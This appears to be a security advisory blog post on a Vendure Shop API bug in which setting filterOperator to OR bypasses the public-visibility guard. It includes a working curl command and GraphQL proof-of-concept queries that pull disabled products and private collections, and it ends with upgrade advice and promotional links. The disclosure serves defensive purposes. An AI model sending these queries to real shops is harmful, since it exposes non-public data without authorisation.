Listen to this Post
The Shop API in Vendure provides GraphQL queries for products, collections, and facets. Each of these queries automatically injects a mandatory filter to restrict results to publicly-visible entities. For products, the injected guard is Product.enabled = true. For collections, the guard is Collection.isPrivate = false. For facets, the guard is Facet.isPrivate = false. This injected guard is combined with the caller-supplied filter using the caller-controlled filterOperator parameter. The filterOperator parameter accepts either AND or OR as its value. When a caller sets filterOperator: OR, the injected guard is OR-combined with the caller’s filter instead of being AND-combined. This logical flaw means the guard no longer restricts the result set to only public entities. A caller can therefore retrieve disabled products and private collections or facets by supplying a predicate that matches them. The Shop API is publicly accessible and requires no authentication. An unauthenticated attacker can exploit this by crafting a GraphQL query with filterOperator: OR and a filter that targets non-public entities. The patch corrects the logic so that the injected guard is always AND-combined with the caller-supplied filter, regardless of the filterOperator value. No workarounds are available other than upgrading to a patched version. The vulnerability is classified as CWE-200, exposure of sensitive information to an unauthorized actor. The affected versions are those prior to 3.6.5 and prior to 3.7.0. The severity is rated as Moderate. The advisory was published on 2026-07-01.
DailyCVE Form:
Platform: Vendure
Version: Pre-3.6.5
Vulnerability: FilterOperator OR bypass
Severity: Moderate
date: 2026-07-01
Prediction: 2026-07-01
What Undercode Say:
Analytics:
curl -X POST https://your-vendure-shop-api/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { products(options: { filterOperator: OR, filter: { enabled: { eq: false } } }) { items { id name enabled } } }"
}'
query ExploitProducts {
products(
options: {
filterOperator: OR
filter: { enabled: { eq: false } }
}
) {
items {
id
name
enabled
}
}
}
query ExploitCollections {
collections(
options: {
filterOperator: OR
filter: { isPrivate: { eq: true } }
}
) {
items {
id
name
isPrivate
}
}
}
How Exploit: (Educational Purposes!)
Send a GraphQL query to the Shop API with filterOperator set to OR. Include a filter predicate that matches non-public entities, such as enabled: false for products or isPrivate: true for collections and facets. The OR combination bypasses the injected guard, returning hidden catalog data to an unauthenticated caller.
Protection: from this CVE
Upgrade to Vendure 3.6.5 or 3.7.0. The patched versions always AND-combine the injected guard with the caller-supplied filter.
Impact:
Exposure of disabled products, private collections, and private facets through the publicly accessible Shop API. No authentication is required to exploit this vulnerability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
